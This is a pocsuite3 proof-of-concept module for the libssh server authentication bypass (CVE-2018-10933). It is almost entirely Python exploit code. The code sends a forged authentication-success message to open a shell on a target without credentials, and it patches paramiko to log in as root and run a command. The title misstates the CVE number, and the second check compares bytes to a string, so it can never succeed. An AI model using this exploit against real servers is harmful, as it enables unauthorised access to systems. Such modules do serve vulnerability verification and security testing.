libssh authentication bypass in server code (CVE-2018-10993)

""" If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md for more about information, plz visit http://pocsuite.org """ import paramiko import socket import os from urllib.parse import urlparse from pocsuite3.lib.utils import url2ip from pocsuite3.api import POCBase, Output, register_poc, logger class DemoPOC(POCBase): vulID = '97614' version = '3' author = ['seebug'] vulDate = '2018-10-18' createDate = '2018-10-17' updateDate = '2018-10-18' references = ['https://www.seebug.org/vuldb/ssvid-97614'] name = 'libssh CVE-2018-10933 身份验证绕过漏洞' appPowerLink = ' https://www.libssh.org' appName = 'libssh' appVersion = '>=0.6' vulType = 'Login Bypass' desc = '''libssh版本0.6及更高版本在服务端代码中具有身份验证绕过漏洞。攻击者可以在没有任何凭据的情况下成功进行身份验证。 进而可以进行一些恶意操作。''' samples = [''] install_requires = ['paramiko'] def _verify(self): result = {} pr = urlparse(self.url) host = url2ip(self.url) port = pr.port if pr.port else 22 if password_auth_bypass_test(host, port): result['VerifyInfo'] = {} result['VerifyInfo']['Target'] = '{0}:{1}'.format(host, port) return self.parse_attack(result) if fake_key_bypass_test(host, port): result['VerifyInfo'] = {} result['VerifyInfo']['Target'] = '{0}:{1}'.format(host, port) return self.parse_attack(result) def _attack(self): return self._verify() def parse_attack(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def password_auth_bypass_test(hostname, port): sock = socket.socket() try: sock.connect((hostname, int(port))) message = paramiko.message.Message() transport = paramiko.transport.Transport(sock) transport.start_client() message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) client = transport.open_session(timeout=10) client.invoke_shell() return True except paramiko.SSHException as e: logger.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable") return False except socket.error: logger.debug("Unable to connect.") return False def auth_accept(*args, **kwargs): new_auth_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_SUCCESS] return new_auth_accept(*args, **kwargs) def fake_key_bypass_test(hostname, port, username='root', keyfile=None, command='whoami'): try: if keyfile is None: keyfile = os.path.join(os.environ['HOME'], '.ssh', 'id_rsa') paramiko.auth_handler.AuthHandler._server_handler_table.update({paramiko.common.MSG_USERAUTH_REQUEST: auth_accept,}) client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(hostname, port=int(port), username=username, password="", pkey=None, key_filename=keyfile) stdin, stdout, stderr = client.exec_command(command) cmd_output = stdout.read() client.close() return True if cmd_output == 'root' else False except FileNotFoundError: logger.debug("Generate a keyfile for tool to bypass remote/local server credentials.") return False except paramiko.SSHException as e: logger.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable") return False except socket.error: logger.debug("Unable to connect.") return False register_poc(DemoPOC)